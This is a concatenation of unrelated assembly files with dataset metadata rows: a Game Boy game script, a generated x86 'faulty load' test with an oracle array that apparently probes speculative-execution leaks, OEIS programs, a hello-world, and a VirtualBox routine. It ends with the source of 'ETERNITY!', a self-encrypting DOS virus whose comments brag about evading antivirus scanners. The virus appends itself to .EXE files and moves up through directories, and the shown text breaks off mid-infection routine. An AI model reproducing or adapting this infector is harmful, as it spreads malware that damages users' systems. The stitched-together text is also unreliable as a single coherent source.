; Display the list of moves to the player.
ld hl, MoveRelearnerGreetingText
call PrintText
call YesNoChoice
ld a, [wCurrentMenuItem]
and a
jp nz, .exit
xor a
ldh [$9f], a
ldh [$a1], a
ld a, 5
ldh [$a0], a ; 500 money
call HasEnoughMoney
jr nc, .enoughMoney
; not enough money
ld hl, MoveRelearnerNotEnoughMoneyText
call PrintText
jp TextScriptEnd
.enoughMoney
ld hl, MoveRelearnerSaidYesText
call PrintText
; Select pokemon from party.
call SaveScreenTilesToBuffer2
xor a
ld [wListScrollOffset], a
ld [wPartyMenuTypeOrMessageID], a
ld [wUpdateSpritesEnabled], a
ld [wMenuItemToSwap], a
call DisplayPartyMenu
push af
call GBPalWhiteOutWithDelay3
call RestoreScreenTilesAndReloadTilePatterns
call LoadGBPal
pop af
jp c, .exit
ld a, [wWhichPokemon]
ld b, a
;push bc
;ld hl, PrepareRelearnableMoveList
;ld b, Bank(PrepareRelearnableMoveList)
;call Bankswitch ;
;ld hl, MoveRelearnerWhichMoveText
;call PrintText
callab PrepareRelearnableMoveList
;ld a, [wLastFieldMoveID];[wRelearnableMoves]
;and a
;jr nz, .chooseMove
;pop bc
;ld hl, MoveRelearnerNoMovesText
;call PrintText
;jp TextScriptEnd
;jp .exit
; Charge 500 money
xor a
ld [wWhichTrade], a
ld [wTrainerFacingDirection], a
ld a, $5
ld [wTrainerEngageDistance], a
ld hl, wTrainerFacingDirection
ld de, wPlayerMoney + 2
ld c, $3
predef SubBCDPredef
ld hl, MoveRelearnerByeText
call PrintText
jp TextScriptEnd
.exit
ld hl, MoveRelearnerByeText
call PrintText
jp TextScriptEnd
MoveRelearnerGreetingText:
TX_FAR _MoveRelearnerGreetingText
db "@"
MoveRelearnerSaidYesText:
TX_FAR _MoveRelearnerSaidYesText
db "@"
MoveRelearnerNotEnoughMoneyText:
TX_FAR _MoveRelearnerNotEnoughMoneyText
db "@"
MoveRelearnerWhichMoveText:
TX_FAR _MoveRelearnerWhichMoveText
db "@"
MoveRelearnerByeText:
TX_FAR _MoveRelearnerByeText
db "@"
MoveRelearnerNoMovesText:
TX_FAR _MoveRelearnerNoMovesText
db "@"
| 20.302083 | 46 | 0.779374 |
3c66236c4f91a9914ccb40d4cb3fe6a73ff2d587 | 4,886 | asm | Assembly | Transynther/x86/_processed/US/_zr_un_/i7-7700_9_0xca_notsx.log_21829_334.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/US/_zr_un_/i7-7700_9_0xca_notsx.log_21829_334.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/US/_zr_un_/i7-7700_9_0xca_notsx.log_21829_334.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r15
push %r9
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0x1bd1b, %rax
nop
nop
nop
nop
add $55641, %r15
mov (%rax), %r9
nop
nop
nop
nop
inc %rcx
lea addresses_A_ht+0x1de05, %rsi
lea addresses_WT_ht+0x901b, %rdi
nop
dec %r10
mov $38, %rcx
rep movsl
nop
nop
nop
nop
nop
dec %r10
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r15
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r13
push %r15
push %r8
push %rax
// Load
lea addresses_D+0x1071b, %r10
nop
nop
nop
cmp $34157, %r13
movups (%r10), %xmm1
vpextrq $0, %xmm1, %rax
nop
nop
nop
dec %r8
// Store
lea addresses_RW+0x1c21b, %r15
nop
nop
nop
xor $55332, %r11
mov $0x5152535455565758, %r8
movq %r8, %xmm3
vmovups %ymm3, (%r15)
nop
nop
nop
nop
nop
cmp $52141, %rax
// Faulty Load
lea addresses_US+0x211b, %r10
sub %rax, %rax
mov (%r10), %r15
lea oracles, %rax
and $0xff, %r15
shlq $12, %r15
mov (%rax,%r15,1), %r15
pop %rax
pop %r8
pop %r15
pop %r13
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': False, 'type': 'addresses_US'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 9, 'same': False, 'type': 'addresses_D'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 7, 'same': False, 'type': 'addresses_RW'}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0, 'same': True, 'type': 'addresses_US'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 9, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 1, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'}
{'00': 21828, 'a4': 1}
a4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 44.018018 | 2,999 | 0.65923 |
04a842cb397749598c4b7f1bb995d205241b751c | 645 | asm | Assembly | oeis/315/A315527.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/315/A315527.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/315/A315527.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A315527: Coordination sequence Gal.6.638.3 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; Submitted by Jon Maiga
; 1,6,11,17,22,28,34,40,46,51,57,62,68,74,79,85,90,96,102,108,114,119,125,130,136,142,147,153,158,164,170,176,182,187,193,198,204,210,215,221,226,232,238,244,250,255,261,266,272,278
mov $1,$0
seq $1,312926 ; Coordination sequence Gal.6.118.4 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
mov $2,$0
mul $0,6
sub $0,1
mod $0,$1
add $0,1
mul $2,4
add $0,$2
| 46.071429 | 182 | 0.731783 |
09e3ee4fec026bd51136bd9fd429b1461ac947fd | 838 | asm | Assembly | FASM/x64/console_helloworld_call.asm | secana/Assembler-Examples | 4b67a32e702d5456ac00380ca081028c2e8d0baf | [
"Apache-2.0"
] | 8 | 2018-06-02T21:45:08.000Z | 2022-03-16T07:35:29.000Z | FASM/x64/console_helloworld_call.asm | secana/Assembler-Examples | 4b67a32e702d5456ac00380ca081028c2e8d0baf | [
"Apache-2.0"
] | null | null | null | FASM/x64/console_helloworld_call.asm | secana/Assembler-Examples | 4b67a32e702d5456ac00380ca081028c2e8d0baf | [
"Apache-2.0"
] | 7 | 2017-12-05T16:51:23.000Z | 2021-03-15T23:01:08.000Z | ; Windows x64 calling convention
; First four parameters go to rcx, rdx, r8, r9
; Additional parameters go on stack (right to left)
; 32 Bytes space have to be reserved on stack before the call and removed from stack after call
format PE64 console
entry start
include 'win64a.inc'
section '.idata' import data readable writeable
library kernel32,'kernel32.dll', \
msvcrt, 'MSVCRT.DLL'
import kernel32,\
ExitProcess, 'ExitProcess'
import msvcrt, \
printf, 'printf'
section '.data' data readable
szHelloWorld db 'Hello World',10,0
section '.text' code readable executable
start:
mov rcx, szHelloWorld
sub rsp, 0x20
call [printf]
add rsp, 0x20
exit:
mov rcx, 0
sub rsp, 0x20
call [ExitProcess]
add rsp, 0x20
| 22.052632 | 95 | 0.645585 |
c03dd35693f6e08d2f868cbe1c4659fe23753663 | 718 | asm | Assembly | programs/oeis/277/A277936.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/277/A277936.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/277/A277936.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A277936: Decimal representation of the x-axis, from the left edge to the origin, or from the origin to the right edge, of the n-th stage of growth of the two-dimensional cellular automaton defined by "Rule 7", based on the 5-celled von Neumann neighborhood.
; 1,3,0,15,0,63,0,255,0,1023,0,4095,0,16383,0,65535,0,262143,0,1048575,0,4194303,0,16777215,0,67108863,0,268435455,0,1073741823,0,4294967295,0,17179869183,0,68719476735,0,274877906943,0,1099511627775,0,4398046511103,0,17592186044415,0,70368744177663,0,281474976710655,0,1125899906842623,0,4503599627370495,0
add $0,1
mov $2,1
add $2,$0
lpb $0
mov $0,$2
sub $0,1
trn $0,2
mod $0,2
mov $1,2
pow $1,$2
add $1,3
div $1,2
mov $2,1
lpe
sub $1,2
| 37.789474 | 307 | 0.735376 |
61857c7df42811267efb271101910ead615c007b | 2,127 | asm | Assembly | vbox/src/VBox/Runtime/common/asm/ASMSetXcr0.asm | Nurzamal/rest_api_docker | a9cc01dfc235467d490d9663755b33ef6990bdd8 | [
"MIT"
] | null | null | null | vbox/src/VBox/Runtime/common/asm/ASMSetXcr0.asm | Nurzamal/rest_api_docker | a9cc01dfc235467d490d9663755b33ef6990bdd8 | [
"MIT"
] | null | null | null | vbox/src/VBox/Runtime/common/asm/ASMSetXcr0.asm | Nurzamal/rest_api_docker | a9cc01dfc235467d490d9663755b33ef6990bdd8 | [
"MIT"
] | null | null | null | ; $Id: ASMSetXcr0.asm 69111 2017-10-17 14:26:02Z vboxsync $
;; @file
; IPRT - ASMSetXcr0().
;
;
; Copyright (C) 2006-2017 Oracle Corporation
;
; This file is part of VirtualBox Open Source Edition (OSE), as
; available from http://www.virtualbox.org. This file is free software;
; you can redistribute it and/or modify it under the terms of the GNU
; General Public License (GPL) as published by the Free Software
; Foundation, in version 2 as it comes in the "COPYING" file of the
; VirtualBox OSE distribution. VirtualBox OSE is distributed in the
; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
;
; The contents of this file may alternatively be used under the terms
; of the Common Development and Distribution License Version 1.0
; (CDDL) only, as it comes in the "COPYING.CDDL" file of the
; VirtualBox OSE distribution, in which case the provisions of the
; CDDL are applicable instead of those of the GPL.
;
; You may elect to license modified versions of this file under the
; terms and conditions of either the GPL or the CDDL or both.
;
;*******************************************************************************
;* Header Files *
;*******************************************************************************
%define RT_ASM_WITH_SEH64
%include "iprt/asmdefs.mac"
BEGINCODE
;;
; Sets the content of the Xcr0 CPU register.
; @param uXcr0 The new XCR0 content.
; msc=rcx, gcc=rdi, x86=[esp+4]
;
BEGINPROC_EXPORTED ASMSetXcr0
SEH64_END_PROLOGUE
%ifdef ASM_CALL64_MSC
mov rdx, rcx
shr rdx, 32
mov eax, ecx
%elifdef ASM_CALL64_GCC
mov rdx, rdi
shr rdx, 32
mov eax, edi
%elif ARCH_BITS == 32
mov eax, [esp + 4]
mov edx, [esp + 8]
%elif ARCH_BITS == 16
push bp
mov bp, sp
mov eax, [bp + 4]
mov edx, [bp + 8]
%else
%error "Undefined arch?"
%endif
xor ecx, ecx
xsetbv
%if ARCH_BITS == 16
leave
%endif
ret
ENDPROC ASMSetXcr0
| 29.957746 | 80 | 0.590033 |
aea4f65a381e12fbbcc1fc7ef8bdab48cc113051 | 601 | asm | Assembly | programs/oeis/162/A162154.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/162/A162154.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/162/A162154.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A162154: Odd-indexed terms are the number of consecutive prime numbers until a composite, even-indexed terms are the number of consecutive composite numbers until a prime.
; 2,1,1,1,1,3,1,1,1,3,1,1,1,3,1,5,1,1,1,5,1,3,1,1,1,3,1,5,1,5,1,1,1,5,1,3,1,1,1,5,1,3,1,5,1,7,1,3,1,1,1,3,1,1,1,3,1,13,1,3,1,5,1,1,1,9,1,1,1,5,1,5,1,3,1,5,1,5,1,1,1,9,1,1,1,3,1,1,1,11,1,11,1,3,1,1,1,3,1,5
mov $3,2
mov $4,$0
lpb $3
mov $0,$4
sub $3,1
add $0,$3
trn $0,1
seq $0,92860 ; "3 times the prime sequence".
sub $0,1
mov $2,$3
mul $2,$0
add $1,$2
mov $5,$0
lpe
min $4,1
mul $4,$5
sub $1,$4
mov $0,$1
| 27.318182 | 204 | 0.595674 |
8c77777256de026c66964bd903f507caf5c7a3d6 | 5,223 | asm | Assembly | Transynther/x86/_processed/US/_ht_st_zr_un_/i7-7700_9_0xca_notsx.log_21829_1011.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/US/_ht_st_zr_un_/i7-7700_9_0xca_notsx.log_21829_1011.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/US/_ht_st_zr_un_/i7-7700_9_0xca_notsx.log_21829_1011.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x19330, %rsi
lea addresses_normal_ht+0xd58, %rdi
nop
dec %r13
mov $43, %rcx
rep movsq
cmp %r10, %r10
pop %rsi
pop %rdi
pop %rcx
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r15
push %r8
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
// Load
lea addresses_D+0x181f0, %rbx
nop
nop
nop
and $32253, %r8
mov (%rbx), %r15
nop
nop
nop
and %r8, %r8
// Load
lea addresses_WC+0x1cc70, %rcx
and $57274, %r15
mov (%rcx), %rbp
nop
nop
and $16747, %r15
// REPMOV
lea addresses_PSE+0x7e30, %rsi
lea addresses_WC+0x1f730, %rdi
nop
nop
add %r12, %r12
mov $9, %rcx
rep movsb
nop
nop
sub $16762, %r15
// Store
lea addresses_WC+0xd95f, %rbx
clflush (%rbx)
nop
and %r8, %r8
movw $0x5152, (%rbx)
nop
nop
nop
nop
nop
and $63303, %r15
// Faulty Load
lea addresses_US+0x1f830, %r8
nop
nop
sub %rsi, %rsi
vmovups (%r8), %ymm1
vextracti128 $0, %ymm1, %xmm1
vpextrq $0, %xmm1, %r15
lea oracles, %r8
and $0xff, %r15
shlq $12, %r15
mov (%r8,%r15,1), %r15
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r8
pop %r15
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': False, 'type': 'addresses_US'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 6, 'same': False, 'type': 'addresses_D'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 6, 'same': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'}
{'src': {'congruent': 9, 'same': False, 'type': 'addresses_PSE'}, 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_WC'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': False, 'type': 'addresses_WC'}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': True, 'type': 'addresses_US'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 6, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'}
{'00': 5270, '8c': 187, '80': 188, '9f': 182, '45': 10697, 'e0': 185, 'de': 2632, '3c': 2488}
45 de 45 3c 8c 00 3c 3c 45 45 45 3c 00 00 00 00 00 45 45 80 00 00 00 00 45 45 de 00 3c 3c 00 00 00 00 00 45 de 00 00 45 45 45 3c 00 9f 45 80 00 de 00 45 45 45 3c 45 de 00 45 3c 45 45 45 de 45 45 45 45 de 00 00 45 3c 45 00 00 00 00 00 00 45 45 45 3c 00 00 00 45 45 45 45 de de 45 45 de 45 45 45 de 00 00 45 8c 00 45 45 de 00 de 00 3c 45 45 3c 00 00 00 45 8c 45 de 00 45 45 3c 00 00 45 de 45 45 de 00 45 45 45 45 de 00 00 45 45 45 3c 00 45 45 3c e0 00 de 00 00 00 00 00 45 e0 00 00 3c 00 45 45 45 45 de 00 45 45 45 3c 45 45 de 45 3c 00 de de 3c 45 de 45 45 3c 00 80 00 45 45 de 00 80 00 45 3c e0 45 45 45 de 3c 3c 00 3c 00 45 de 80 00 00 00 45 45 45 45 45 3c 00 00 00 3c 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 de 45 de de 3c 45 3c 45 de 45 de 00 00 00 45 45 de 00 3c de 3c 00 00 00 00 00 00 e0 45 45 45 45 45 3c 45 45 45 45 de 00 00 00 00 00 45 45 45 45 de 00 45 3c 45 45 45 3c 45 45 de 45 de 00 45 45 de 45 45 8c 45 3c de 45 3c 45 45 45 80 00 00 00 00 00 45 de 00 00 3c 45 45 45 de 00 45 45 3c 3c 45 de 00 00 00 00 45 45 00 45 3c 45 45 80 00 00 00 9f 45 3c 45 45 3c 45 3c de 00 00 45 45 45 45 45 45 45 3c 45 45 45 3c de 00 45 45 45 de 45 45 45 45 45 45 45 45 3c 3c 00 45 45 45 45 45 de 00 00 45 45 45 45 45 3c 00 00 00 45 9f 45 45 45 45 3c 45 45 45 45 de 00 00 de 45 45 45 3c 45 3c de de 45 45 8c 00 00 00 45 45 45 e0 45 45 45 3c 45 3c 45 45 45 3c 00 45 de 00 00 00 00 45 80 00 00 00 00 00 00 00 45 3c 00 00 00 3c 9f 45 3c 00 e0 3c 45 45 3c 00 00 00 00 00 45 00 45 de e0 45 3c 45 3c 45 45 45 45 de 45 45 45 45 45 45 45 de 00 00 00 de de 3c 00 3c 00 3c 00 3c 3c 00 3c 00 45 45 3c 00 00 45 45 3c 00 00 00 00 45 3c 45 45 80 00 00 00 45 45 45 de 00 00 00 45 45 45 45 de 00 45 45 45 45 de 00 9f 45 de 45 45 45 45 45 45 45 45 45 45 45 9f 45 3c 00 00 e0 00 45 45 3c 45 3c 45 45 de 3c 00 00 00 45 45 45 45 de 45 45 45 45 de 3c 45 45 45 de de 3c 00 45 45 45 3c 00 de 45 45 45 45 45 45 de de 00 45 45 45 de 45 45 3c de 00 00 45 3c 00 45 45 3c 00 de 00 3c de 00 45 45 45 45 45 45 e0 45 3c 45 de de 45 45 45 de 00 00 00 45 45 45 3c 3c 3c 00 00 00 45 de 00 00 45 45 45 45 45 de 45 3c 45 45 45 45 3c 00 00 45 45 45 de 00 45 de 00 45 45 45 45 45 45 45 45 45 3c 00 00 00 00 00 3c 45 45 45 3c 45 de 00 de 45 45 45 45 de 45 3c 00 45 45 45 de 00 00 45 45 3c de 00 00 9f 3c 45 45 45 45 45 3c 00 00 45 45 3c 3c 45 45 45 45 de 45 45 45 de 45 45 45 45 de 45 45 3c 00 45 de 45 de 45 de 00 45 45 45 45 45 9f de 00 00 de 45 de 00 00 45 de 00 00 00 de 45 45 45 3c 00 45 3c 8c 00 45 45 45 45 45 de 45 de 45 de 45 3c 45 3c de 00 45 45 45 de 45 de 00 45 45 45 45 45 de 00 00 45 45 45 45 de 3c 45 3c 00 00 de de 45 45 de 00 80 45 45 45 45 de 45 45 45 45 de 00 00 45 45 3c 45 45 45 de 00 3c 00 00 00 00 00 00 00 00 45 45 45 3c 45 de 45 45 45 45 3c 00 45 45 3c 00 45 45 00 00 00 00 00 00 00 00 45 45 3c 45 de 00 45 45 3c 00 45 45 45 3c 45 3c 00 45 45 3c 00 de 3c 00 3c 00 45 45 45 3c 00 00 45 45 3c e0 00 45 3c 00 00 80 00 3c 00 00 00 45 45 45 3c 45 3c de 45 45 45 45 45 3c 00 3c 00 45 45 45 45 3c 45 45 45 de
*/
| 45.417391 | 2,999 | 0.653839 |
04aa43be3840972d581c730abce5131b435a2643 | 5,692 | asm | Assembly | MSDOS/Virus.MSDOS.Unknown.eternity.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | 3 | 2021-05-15T15:57:13.000Z | 2022-03-16T09:11:05.000Z | MSDOS/Virus.MSDOS.Unknown.eternity.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | null | null | null | MSDOS/Virus.MSDOS.Unknown.eternity.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | 3 | 2021-05-15T15:57:15.000Z | 2022-01-08T20:51:04.000Z | ; VirusName : ETERNITY!
; Origin : Sweden
; Author : The Unforgiven
; Date : 15/12/93
; This is a "mutation", of Tormentor's .EXE lession. It's HIGHLY
; modified, and I'd nearly dare to call it a "new" virus. But well,
; the infection routine are the same, so I really dunno.
; Anyway, it's a non-overwriting randomly self encrypted infector
; of .EXE programs. It'll infect up to 3 programs each run, and now
; it also contain a dot-dot routine for moving directories. This
; version have also fixed up the "file attributes", so It will
; first clean, then infect, then restore them. It'll after infections
; in other the current directory, also return to it's original dir.
; Since its complex cryptation routine no scanners will find it.
; Scan/MSAV/TBAV/FindViru and F-prot can't find shits. TBAVs most
; advanced heurtistic scanner will ONLY!, report that the infected
; programs got a flexible entry point, ie nothing really! Haha!,
; he can suck his dick blue, 9 out of 10 "new" viruses, blah!!!
; This virus don't have ANY destructive routine at all!, Yes, it's
; true! I hope this one will survive into ETERNITY!..Greetings,
; must go out to Raver, and Tormentor/DY. Hope you enjoy this code!
;=============================================================================
; **** ETERNITY! ****
;=============================================================================
.model tiny
.radix 16
.code
Virus_Lenght EQU Virus_End-Virus_Start ; Lenght of virus.
org 100
Virus_Start: call where_we_are
where_we_are: pop bp
sub bp,where_we_are-Virus_Start
call encrypt_decrypt
jmp encryption_start
write_virus:
call encrypt_decrypt
mov ah,40 ; Write virus to EOF.
mov cx,Virus_Lenght
mov dx,bp
int 21
call encrypt_decrypt
ret
encryption_value dw 0
encrypt_decrypt:
lea si,cs:[bp+encryption_start-virus_start]
mov cx,(end_of_virus-encryption_start+1)/2
mov dx,word ptr cs:[bp+encryption_value-virus_start]
again:
xor word ptr cs:[si],dx
add si,2
loop again
ret
encryption_start:
mov ax,es
add ax,10
add ax,cs:[bp+Exe_header-Virus_Start+16]
push ax
push cs:[bp+Exe_header-Virus_Start+14]
push ds
push cs
pop ds
mov ah,1a ;SET-DTA
lea dx,[bp+Own_dta-virus_start] ;till own_dta
int 21
;Get starting dir
mov ah,47
xor dl,dl
lea si,[bp+dir-virus_start]
int 21
;start finding files
xor di,di ;infection count
mov ah,4e ; We start to look for a *.EXE file
look4victim: ;mov dx,offset file_match-Virus_Start
;add dx,bp
lea dx,[bp+file_match-virus_start]
int 21
jnc clear_attribs
lea dx,[bp+dot_dot-virus_start]
mov ah,3bh
int 21h
jnc not_root
jmp no_victim_found
not_root:
mov ah,4e
jmp look4victim
; jmp no_victim_found ; If no *.EXE files was found.
clear_attribs:
mov ax,4301h
xor cx,cx
lea dx,[bp+own_dta-virus_start+1eh]
int 21h
cont2: mov ax,3d02 ;open file
mov dx,Own_dta-Virus_Start+1e
add dx,bp
int 21
jnc cont1 ;exit if error
jmp cant_open_file
cont1: xchg ax,bx ;handle in bx
mov ah,3f ;read file - 28 bytes
mov cx,1c ;to EXE_header
lea dx,[bp+exe_header-virus_start]
int 21
jnc no_error ;exit if error
jmp read_error
no_error:
cmp byte ptr ds:[bp+Exe_header-Virus_Start],'M'
jnz no_exe ; !!! Some EXEs starts with ZM !!!
cmp word ptr ds:[bp+Exe_header-Virus_Start+12],'RI'
jz infected
mov ax,4202 ; Go EOF
xor cx,cx
xor dx,dx
int 21
push dx
push ax
mov ah,2ch ; this gets a random
int 21h ; encryption value..
mov word ptr cs:[bp+encryption_value-virus_start],dx
call write_virus
; mov ah,40 ; Write virus to EOF.
; mov cx,Virus_Lenght
; mov dx,bp
; int 21
mov ax,4202 ; Get NEW filelenght.
xor cx,cx
xor dx,dx
int 21
mov cx,200
div cx
inc ax
mov word ptr ds:[Exe_header-Virus_Start+2+bp],dx
mov word ptr ds:[Exe_header-Virus_Start+4+bp],ax
pop ax
pop dx
mov cx,10
div cx
